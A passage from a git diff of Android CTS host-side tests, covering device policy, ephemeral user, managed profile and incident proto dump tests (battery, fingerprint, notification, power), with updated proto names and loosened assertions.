- * method fails on systems without the split system user.
- */
- public void testCreateAndManageEphemeralUserFailsWithoutSplitSystemUser() throws Exception {
- if (mHasDisabledEphemeralUserFeature) {
- executeDeviceTestMethod(
- ".CreateAndManageUserTest", "testCreateAndManageEphemeralUserFails");
- }
- }
-
// Disabled due to b/29072728
// public void testCreateAndManageUser_SkipSetupWizard() throws Exception {
// if (mHasCreateAndManageUserFeature) {
@@ -276,6 +266,13 @@
}
}
+ public void testCreateAndManageUser_StartUserInBackground() throws Exception {
+ if (mHasFeature && canCreateAdditionalUsers(1)) {
+ executeDeviceTestMethod(".CreateAndManageUserTest",
+ "testCreateAndManageUser_StartUserInBackground");
+ }
+ }
+
public void testUserAddedOrRemovedBroadcasts() throws Exception {
if (mHasFeature && canCreateAdditionalUsers(1)) {
executeDeviceTestMethod(".CreateAndManageUserTest",
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
index df4a47c..84bdd7d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/EphemeralUserTest.java
@@ -17,7 +17,7 @@
package com.android.cts.devicepolicy;
/**
- * Tests for emphemeral users and profiles.
+ * Tests for ephemeral users and profiles.
*/
public class EphemeralUserTest extends BaseDevicePolicyTest {
@@ -35,7 +35,7 @@
/** The user should have the ephemeral flag set if it was created as ephemeral. */
public void testCreateEphemeralUser() throws Exception {
- if (!mHasFeature || !hasUserSplit()) {
+ if (!mHasFeature) {
return;
}
int userId = createUser(FLAG_EPHEMERAL);
@@ -59,7 +59,8 @@
*/
public void testProfileInheritsEphemeral() throws Exception {
if (!mHasFeature || !hasDeviceFeature("android.software.managed_users")
- || !hasUserSplit() || !canCreateAdditionalUsers(2)) {
+ || !canCreateAdditionalUsers(2)
+ || !hasUserSplit()) {
return;
}
int userId = createUser(FLAG_EPHEMERAL);
@@ -72,7 +73,7 @@
* Ephemeral user should be automatically removed after it is stopped.
*/
public void testRemoveEphemeralOnStop() throws Exception {
- if (!mHasFeature || !hasUserSplit()) {
+ if (!mHasFeature) {
return;
}
int userId = createUser(FLAG_EPHEMERAL);
@@ -87,7 +88,7 @@
* and not ephemeral when the feature is not set.
*/
public void testEphemeralGuestFeature() throws Exception {
- if (!mHasFeature || !hasUserSplit()) {
+ if (!mHasFeature) {
return;
}
// Create a guest user.
@@ -103,20 +104,6 @@
}
}
- /**
- * Test that creating an ephemeral user fails on systems without the split system user.
- */
- public void testCreateEphemeralWithoutUserSplitFails() throws Exception {
- if (!mHasFeature || hasUserSplit()) {
- return;
- }
- String command ="pm create-user --ephemeral " + "TestUser_" + System.currentTimeMillis();
- String commandOutput = getDevice().executeShellCommand(command);
-
- assertEquals("Creating the epehemeral user should fail.",
- "Error: couldn't create User.", commandOutput.trim());
- }
-
private boolean getGuestUsersEphemeral() throws Exception {
String commandOutput = getDevice().executeShellCommand("dumpsys user");
String[] outputLines = commandOutput.split("\n");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
index ef7099b..b71c4c87 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
@@ -15,8 +15,6 @@
*/
package com.android.cts.devicepolicy;
-import org.junit.Test;
-
/**
* This class tests the provisioning flow with an APK that declares a single receiver with
* BIND_DEVICE_ADMIN permissions, which was a requirement for the app sending the
@@ -54,7 +52,6 @@
super.tearDown();
}
- @Test
public void testEXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME() throws Exception {
if (!mHasFeature) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
index fa3627a..93a17e0 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
@@ -111,6 +111,17 @@
"testAccountExist", mParentUserId);
}
+ public void testWebview() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ // We start an activity containing WebView in another process and run provisioning to
+ // test that the process is not killed.
+ startActivityAsUser(mParentUserId, MANAGED_PROFILE_PKG, ".WebViewActivity");
+ provisionManagedProfile();
+ }
+
private void provisionManagedProfile() throws Exception {
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
"testProvisionManagedProfile", mParentUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 157c59c..8f4f900 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -138,6 +138,29 @@
mProfileUserId);
}
+ public void testWipeDataWithReason() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ assertTrue(listUsers().contains(mProfileUserId));
+ runDeviceTestsAsUser(
+ MANAGED_PROFILE_PKG,
+ ".WipeDataTest",
+ "testWipeDataWithReason",
+ mProfileUserId);
+ // Note: the managed profile is removed by this test, which will make removeUserCommand in
+ // tearDown() to complain, but that should be OK since its result is not asserted.
+ assertUserGetsRemoved(mProfileUserId);
+ // testWipeDataWithReason() removes the managed profile,
+ // so it needs to separated from other tests.
+ // Check the notification is presented after work profile got removed, so profile user no
+ // longer exists, verification should be run in primary user.
+ runDeviceTestsAsUser(
+ MANAGED_PROFILE_PKG,
+ ".WipeDataWithReasonVerificationTest",
+ mParentUserId);
+ }
+
/**
* wipeData() test removes the managed profile, so it needs to separated from other tests.
*/
@@ -147,7 +170,8 @@
}
assertTrue(listUsers().contains(mProfileUserId));
runDeviceTestsAsUser(
- MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".WipeDataTest", mProfileUserId);
+ MANAGED_PROFILE_PKG, ".WipeDataTest",
+ "testWipeData", mProfileUserId);
// Note: the managed profile is removed by this test, which will make removeUserCommand in
// tearDown() to complain, but that should be OK since its result is not asserted.
assertUserGetsRemoved(mProfileUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/crossprofile/CrossProfileAppsManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/crossprofile/CrossProfileAppsManagedProfileTest.java
new file mode 100644
index 0000000..cf02aef
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/crossprofile/CrossProfileAppsManagedProfileTest.java
@@ -0,0 +1,8 @@
+//package com.android.cts.devicepolicy.crossprofile;
+//
+//import com.android.cts.devicepolicy.BaseDevicePolicyTest;
+//
+//public class CrossProfileAppsManagedProfileTest extends BaseDevicePolicyTest {
+//
+//
+//}
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index 4d51330..6d341c8 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -723,7 +723,8 @@
for (int i = 0; i < TIMESTAMP_COUNT; i++) {
numparts[i] = assertInteger(parts[i]);
}
- if (numparts[0] != 0) {
+ // Flags = 1 just means the first frame of the window
+ if (numparts[0] != 0 && numparts[0] != 1) {
continue;
}
// assert VSYNC >= INTENDED_VSYNC
diff --git a/hostsidetests/incident/apps/procstatsapp/Android.mk b/hostsidetests/incident/apps/procstatsapp/Android.mk
new file mode 100644
index 0000000..a02c29d
--- /dev/null
+++ b/hostsidetests/incident/apps/procstatsapp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsProcStatsProtoApp
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ compatibility-device-util \
+ android-support-v4
+
+LOCAL_SDK_VERSION := test_current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/procstatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/procstatsapp/AndroidManifest.xml
new file mode 100644
index 0000000..a0cccb4
--- /dev/null
+++ b/hostsidetests/incident/apps/procstatsapp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.server.cts.procstats" >
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <activity android:name=".SimpleActivity" android:exported="true" />
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.server.cts.procstats" />
+</manifest>
diff --git a/hostsidetests/incident/apps/procstatsapp/src/com/android/server/cts/procstats/SimpleActivity.java b/hostsidetests/incident/apps/procstatsapp/src/com/android/server/cts/procstats/SimpleActivity.java
new file mode 100644
index 0000000..69ff75e
--- /dev/null
+++ b/hostsidetests/incident/apps/procstatsapp/src/com/android/server/cts/procstats/SimpleActivity.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.procstats;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.lang.Override;
+
+public class SimpleActivity extends Activity {
+
+ private static final String TAG = "ProcstatsAppRunningTest";
+
+ @Override
+ public void onCreate(Bundle bundle) {
+ super.onCreate(bundle);
+ Log.i(TAG, "Procstats app is running");
+ }
+}
+
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
index 4b83b0a..28000e0 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
@@ -16,6 +16,7 @@
package com.android.server.cts;
+import android.os.BatteryManagerProto;
import android.service.battery.BatteryServiceDumpProto;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -37,10 +38,10 @@
return;
}
- assertTrue(
- dump.getPlugged()
- != BatteryServiceDumpProto.BatteryPlugged.BATTERY_PLUGGED_WIRELESS);
- assertTrue(dump.getChargeCounter() > 0);
+ assertTrue(dump.getPlugged() != BatteryManagerProto.PlugType.PLUG_TYPE_WIRELESS);
+ assertTrue(dump.getMaxChargingCurrent() >= 0);
+ assertTrue(dump.getMaxChargingVoltage() >= 0);
+ assertTrue(dump.getChargeCounter() >= 0);
assertTrue(
dump.getStatus() != BatteryServiceDumpProto.BatteryStatus.BATTERY_STATUS_INVALID);
assertTrue(
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
index 57d64bb..386c324 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
@@ -15,14 +15,9 @@
*/
package com.android.server.cts;
-import com.android.ddmlib.IShellOutputReceiver;
import com.android.tradefed.log.LogUtil;
-import com.google.common.base.Charsets;
-
import java.util.Random;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicBoolean;
/**
* Test for "dumpsys batterystats -c
@@ -710,64 +705,6 @@
}
/**
- * Runs logcat and waits (for a maximumum of maxTimeMs) until the desired text is displayed with
- * the given tag.
- * Logcat is not cleared, so make sure that text is unique (won't get false hits from old data).
- * Note that, in practice, the actual max wait time seems to be about 10s longer than maxTimeMs.
- */
- private void checkLogcatForText(String logcatTag, String text, int maxTimeMs) {
- IShellOutputReceiver receiver = new IShellOutputReceiver() {
- private final StringBuilder mOutputBuffer = new StringBuilder();
- private final AtomicBoolean mIsCanceled = new AtomicBoolean(false);
-
- @Override
- public void addOutput(byte[] data, int offset, int length) {
- if (!isCancelled()) {
- synchronized (mOutputBuffer) {
- String s = new String(data, offset, length, Charsets.UTF_8);
- mOutputBuffer.append(s);
- if (checkBufferForText()) {
- mIsCanceled.set(true);
- }
- }
- }
- }
-
- private boolean checkBufferForText() {
- if (mOutputBuffer.indexOf(text) > -1) {
- return true;
- } else {
- // delete all old data (except the last few chars) since they don't contain text
- // (presumably large chunks of data will be added at a time, so this is
- // sufficiently efficient.)
- int newStart = mOutputBuffer.length() - text.length();
- if (newStart > 0) {
- mOutputBuffer.delete(0, newStart);
- }
- return false;
- }
- }
-
- @Override
- public boolean isCancelled() {
- return mIsCanceled.get();
- }
-
- @Override
- public void flush() {
- }
- };
-
- try {
- // Wait for at most maxTimeMs for logcat to display the desired text.
- getDevice().executeShellCommand(String.format("logcat -s %s -e '%s'", logcatTag, text),
- receiver, maxTimeMs, TimeUnit.MILLISECONDS, 0);
- } catch (com.android.tradefed.device.DeviceNotAvailableException e) {
- System.err.println(e);
- }
- }
-
- /**
* Returns the bytes downloaded for the wifi transfer download tests.
* @param requestCode the output of executeForeground() or executeBackground() to identify in
* the logcat the line associated with the desired download information
diff --git a/hostsidetests/incident/src/com/android/server/cts/FingerprintIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/FingerprintIncidentTest.java
index 9e32e1c..ed87f11 100644
--- a/hostsidetests/incident/src/com/android/server/cts/FingerprintIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/FingerprintIncidentTest.java
@@ -16,9 +16,9 @@
package com.android.server.cts;
-import android.service.fingerprint.FingerprintActionStatsProto;
-import android.service.fingerprint.FingerprintServiceDumpProto;
-import android.service.fingerprint.FingerprintUserStatsProto;
+import com.android.server.fingerprint.FingerprintServiceDumpProto;
+import com.android.server.fingerprint.FingerprintUserStatsProto;
+import com.android.server.fingerprint.PerformanceStatsProto;
import com.android.tradefed.log.LogUtil.CLog;
@@ -27,12 +27,7 @@
* Test to check that the fingerprint service properly outputs its dump state.
*/
public class FingerprintIncidentTest extends ProtoDumpTestCase {
- /**
- * Test that no fingerprints are registered.
- *
- * @throws Exception
- */
- public void testNoneRegistered() throws Exception {
+ public void testFingerprintServiceDump() throws Exception {
// If the device doesn't support fingerprints, then pass.
if (!getDevice().hasFeature("android.hardware.fingerprint")) {
CLog.d("Bypass as android.hardware.fingerprint is not supported.");
@@ -42,24 +37,28 @@
final FingerprintServiceDumpProto dump =
getDump(FingerprintServiceDumpProto.parser(), "dumpsys fingerprint --proto");
- // One of them
- assertEquals(1, dump.getUsersCount());
+ // There should be at least one user.
+ assertTrue(1 <= dump.getUsersCount());
- final FingerprintUserStatsProto userStats = dump.getUsers(0);
- assertEquals(0, userStats.getUserId());
- assertEquals(0, userStats.getNumFingerprints());
+ for (int i = 0; i < dump.getUsersCount(); ++i) {
+ final FingerprintUserStatsProto userStats = dump.getUsers(i);
+ assertTrue(0 <= userStats.getUserId());
+ assertTrue(0 <= userStats.getNumFingerprints());
- final FingerprintActionStatsProto normal = userStats.getNormal();
- assertEquals(0, normal.getAccept());
- assertEquals(0, normal.getReject());
- assertEquals(0, normal.getAcquire());
- assertEquals(0, normal.getLockout());
+ final PerformanceStatsProto normal = userStats.getNormal();
+ assertTrue(0 <= normal.getAccept());
+ assertTrue(0 <= normal.getReject());
+ assertTrue(0 <= normal.getAcquire());
+ assertTrue(0 <= normal.getLockout());
+ assertTrue(0 <= normal.getPermanentLockout());
- final FingerprintActionStatsProto crypto = userStats.getCrypto();
- assertEquals(0, crypto.getAccept());
- assertEquals(0, crypto.getReject());
- assertEquals(0, crypto.getAcquire());
- assertEquals(0, crypto.getLockout());
+ final PerformanceStatsProto crypto = userStats.getCrypto();
+ assertTrue(0 <= crypto.getAccept());
+ assertTrue(0 <= crypto.getReject());
+ assertTrue(0 <= crypto.getAcquire());
+ assertTrue(0 <= crypto.getLockout());
+ assertTrue(0 <= crypto.getPermanentLockout());
+ }
}
}
diff --git a/hostsidetests/incident/src/com/android/server/cts/NetstatsIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/NetstatsIncidentTest.java
index f5c13c2..bdf7dcc 100644
--- a/hostsidetests/incident/src/com/android/server/cts/NetstatsIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/NetstatsIncidentTest.java
@@ -374,16 +374,14 @@
assertNotNegative("TX bytes", bucket.getTxBytes());
assertNotNegative("TX packets", bucket.getTxPackets());
-// 10 was still too big? // It should be safe to say # of bytes >= 10 * 10 of packets, due to headers, etc...
- final long FACTOR = 4;
assertTrue(
String.format("# of bytes %d too small for # of packets %d",
bucket.getRxBytes(), bucket.getRxPackets()),
- bucket.getRxBytes() >= bucket.getRxPackets() * FACTOR);
+ bucket.getRxBytes() >= bucket.getRxPackets());
assertTrue(
String.format("# of bytes %d too small for # of packets %d",
bucket.getTxBytes(), bucket.getTxPackets()),
- bucket.getTxBytes() >= bucket.getTxPackets() * FACTOR);
+ bucket.getTxBytes() >= bucket.getTxPackets());
}
}
diff --git a/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java
new file mode 100644
index 0000000..a96be46
--- /dev/null
+++ b/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts;
+
+import android.service.notification.NotificationRecordProto;
+import android.service.notification.NotificationServiceDumpProto;
+import android.service.notification.NotificationRecordProto.State;
+import android.service.notification.RankingHelperProto;
+import android.service.notification.RankingHelperProto.RecordProto;
+import android.service.notification.ZenModeProto;
+import android.service.notification.ZenModeProto.ZenMode;
+
+/**
+ * Test to check that the notification service properly outputs its dump state.
+ *
+ * make -j32 CtsIncidentHostTestCases
+ * cts-tradefed run singleCommand cts-dev -d --module CtsIncidentHostTestCases
+ */
+public class NotificationIncidentTest extends ProtoDumpTestCase {
+ // Constants from android.app.NotificationManager
+ private static final int IMPORTANCE_UNSPECIFIED = -1000;
+ private static final int IMPORTANCE_NONE = 0;
+ private static final int IMPORTANCE_MAX = 5;
+ private static final int VISIBILITY_NO_OVERRIDE = -1000;
+ // Constants from android.app.Notification
+ private static final int PRIORITY_MIN = -2;
+ private static final int PRIORITY_MAX = 2;
+ private static final int VISIBILITY_SECRET = -1;
+ private static final int VISIBILITY_PUBLIC = 1;
+ // These constants are those in PackageManager.
+ public static final String FEATURE_WATCH = "android.hardware.type.watch";
+
+ /**
+ * Tests that at least one notification is posted, and verify its properties are plausible.
+ */
+ public void testNotificationRecords() throws Exception {
+ final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
+ "dumpsys notification --proto");
+
+ assertTrue(dump.getRecordsCount() > 0);
+ boolean found = false;
+ for (NotificationRecordProto record : dump.getRecordsList()) {
+ if (record.getKey().contains("android")) {
+ found = true;
+ assertEquals(State.POSTED, record.getState());
+ assertTrue(record.getImportance() > IMPORTANCE_NONE);
+
+ // Ensure these fields exist, at least
+ record.getFlags();
+ record.getChannelId();
+ record.getSound();
+ record.getSoundUsage();
+ record.getCanVibrate();
+ record.getCanShowLight();
+ record.getGroupKey();
+ }
+ assertTrue(State.SNOOZED != record.getState());
+ }
+
+ assertTrue(found);
+ }
+
+ /** Test valid values from the RankingHelper. */
+ public void testRankingConfig() throws Exception {
+ final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
+ "dumpsys notification --proto");
+
+ RankingHelperProto rhProto = dump.getRankingConfig();
+ for (RecordProto rp : rhProto.getRecordsList()) {
+ verifyRecordProto(rp);
+ }
+ for (RecordProto rp : rhProto.getRecordsRestoredWithoutUidList()) {
+ verifyRecordProto(rp);
+ }
+ }
+
+ private void verifyRecordProto(RecordProto rp) throws Exception {
+ assertTrue(!rp.getPackage().isEmpty());
+ assertTrue(rp.getUid() == -10000 || rp.getUid() >= 0);
+ assertTrue(rp.getImportance() == IMPORTANCE_UNSPECIFIED ||
+ (rp.getImportance() >= IMPORTANCE_NONE && rp.getImportance() <= IMPORTANCE_MAX));
+ assertTrue(rp.getPriority() >= PRIORITY_MIN && rp.getPriority() <= PRIORITY_MAX);
+ assertTrue(rp.getVisibility() == VISIBILITY_NO_OVERRIDE ||
+ (rp.getVisibility() >= VISIBILITY_SECRET &&
+ rp.getVisibility() <= VISIBILITY_PUBLIC));
+ }
+
+ // Tests default state: zen mode off, no suppressors
+ public void testZenMode() throws Exception {
+ final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
+ "dumpsys notification --proto");
+ ZenModeProto zenProto = dump.getZen();
+
+ assertEquals(ZenMode.ZEN_MODE_OFF, zenProto.getZenMode());
+ assertEquals(0, zenProto.getEnabledActiveConditionsCount());
+
+ // b/64606626 Watches intentionally suppress notifications always
+ if (!getDevice().hasFeature(FEATURE_WATCH)) {
+ assertEquals(0, zenProto.getSuppressedEffects());
+ assertEquals(0, zenProto.getSuppressorsCount());
+ }
+
+ zenProto.getPolicy();
+ }
+}
diff --git a/hostsidetests/incident/src/com/android/server/cts/NotificationTest.java b/hostsidetests/incident/src/com/android/server/cts/NotificationTest.java
deleted file mode 100644
index f91c8a7..0000000
--- a/hostsidetests/incident/src/com/android/server/cts/NotificationTest.java
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts;
-
-import android.service.notification.NotificationRecordProto;
-import android.service.notification.NotificationServiceDumpProto;
-import android.service.notification.State;
-import android.service.notification.ZenMode;
-import android.service.notification.ZenModeProto;
-
-/**
- * Test to check that the notification service properly outputs its dump state.
- *
- * make -j32 CtsIncidentHostTestCases
- * cts-tradefed run singleCommand cts-dev -d --module CtsIncidentHostTestCases
- */
-public class NotificationTest extends ProtoDumpTestCase {
- // These constants are those in PackageManager.
- public static final String FEATURE_WATCH = "android.hardware.type.watch";
-
- /**
- * Tests that at least one notification is posted, and verify its properties are plausible.
- */
- public void testNotificationRecords() throws Exception {
- final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
- "dumpsys notification --proto");
-
- assertTrue(dump.getRecordsCount() > 0);
- boolean found = false;
- for (NotificationRecordProto record : dump.getRecordsList()) {
- if (record.getKey().contains("android")) {
- found = true;
- assertEquals(State.POSTED, record.getState());
- assertTrue(record.getImportance() > 0 /* NotificationManager.IMPORTANCE_NONE */);
-
- // Ensure these fields exist, at least
- record.getFlags();
- record.getChannelId();
- record.getSound();
- record.getSoundUsage();
- record.getCanVibrate();
- record.getCanShowLight();
- record.getGroupKey();
- }
- assertTrue(State.SNOOZED != record.getState());
- }
-
- assertTrue(found);
- }
-
- // Tests default state: zen mode off, no suppressors
- public void testZenMode() throws Exception {
- final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
- "dumpsys notification --proto");
- ZenModeProto zenProto = dump.getZen();
-
- assertEquals(ZenMode.ZEN_MODE_OFF, zenProto.getZenMode());
- assertEquals(0, zenProto.getEnabledActiveConditionsCount());
-
- // b/64606626 Watches intentionally suppress notifications always
- if (!getDevice().hasFeature(FEATURE_WATCH)) {
- assertEquals(0, zenProto.getSuppressedEffects());
- assertEquals(0, zenProto.getSuppressorsCount());
- }
-
- zenProto.getPolicy();
- }
-}
diff --git a/hostsidetests/incident/src/com/android/server/cts/PowerIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/PowerIncidentTest.java
index 77c0163..f2d8c84f 100644
--- a/hostsidetests/incident/src/com/android/server/cts/PowerIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/PowerIncidentTest.java
@@ -16,28 +16,33 @@
package com.android.server.cts;
+import android.app.ActivityManagerProto;
+import android.content.IntentProto;
+import android.os.BatteryManagerProto;
import android.os.LooperProto;
-import android.service.power.PowerServiceDumpProto;
-import android.service.power.PowerServiceSettingsAndConfigurationDumpProto;
+import android.os.PowerManagerInternalProto;
+import android.os.PowerManagerProto;
+import com.android.server.power.PowerManagerServiceDumpProto;
+import com.android.server.power.PowerServiceSettingsAndConfigurationDumpProto;
/** Test to check that the power manager properly outputs its dump state. */
public class PowerIncidentTest extends ProtoDumpTestCase {
private static final int SYSTEM_UID = 1000;
public void testPowerServiceDump() throws Exception {
- final PowerServiceDumpProto dump =
- getDump(PowerServiceDumpProto.parser(), "dumpsys power --proto");
+ final PowerManagerServiceDumpProto dump =
+ getDump(PowerManagerServiceDumpProto.parser(), "dumpsys power --proto");
assertTrue(
- PowerServiceDumpProto.Wakefulness.getDescriptor()
+ PowerManagerInternalProto.Wakefulness.getDescriptor()
.getValues()
.contains(dump.getWakefulness().getValueDescriptor()));
assertTrue(
- PowerServiceDumpProto.PlugType.getDescriptor()
+ BatteryManagerProto.PlugType.getDescriptor()
.getValues()
.contains(dump.getPlugType().getValueDescriptor()));
assertTrue(
- PowerServiceDumpProto.DockState.getDescriptor()
+ IntentProto.DockState.getDescriptor()
.getValues()
.contains(dump.getDockState().getValueDescriptor()));
@@ -47,20 +52,24 @@
assertTrue(settingsAndConfiguration.getMaximumScreenDimDurationConfigMs() >= 0);
assertTrue(settingsAndConfiguration.getMaximumScreenDimRatioConfig() > 0);
assertTrue(settingsAndConfiguration.getScreenOffTimeoutSettingMs() > 0);
+ // Default value is -1.
+ assertTrue(settingsAndConfiguration.getSleepTimeoutSettingMs() >= -1);
assertTrue(settingsAndConfiguration.getMaximumScreenOffTimeoutFromDeviceAdminMs() > 0);
+ // -1 is used to disable, so is valid.
+ assertTrue(settingsAndConfiguration.getUserActivityTimeoutOverrideFromWindowManagerMs() >= -1);
final PowerServiceSettingsAndConfigurationDumpProto.ScreenBrightnessSettingLimitsProto
brightnessLimits = settingsAndConfiguration.getScreenBrightnessSettingLimits();
assertTrue(brightnessLimits.getSettingMaximum() > 0);
assertTrue(brightnessLimits.getSettingDefault() > 0);
assertTrue(brightnessLimits.getSettingForVrDefault() > 0);
- final PowerServiceDumpProto.UidProto uid = dump.getUids(0);
+ final PowerManagerServiceDumpProto.UidStateProto uid = dump.getUidStates(0);
assertEquals(uid.getUid(), SYSTEM_UID);
assertEquals(uid.getUidString(), Integer.toString(SYSTEM_UID));
assertTrue(uid.getIsActive());
assertFalse(uid.getIsProcessStateUnknown());
assertTrue(
- PowerServiceDumpProto.UidProto.ProcessState.getDescriptor()
+ ActivityManagerProto.ProcessState.getDescriptor()
.getValues()
.contains(uid.getProcessState().getValueDescriptor()));
@@ -70,5 +79,20 @@
assertTrue(looper.getIdentityHashCode() > 0);
assertTrue(dump.getSuspendBlockersCount() > 0);
+
+ // Check that times/durations are not incorrectly negative.
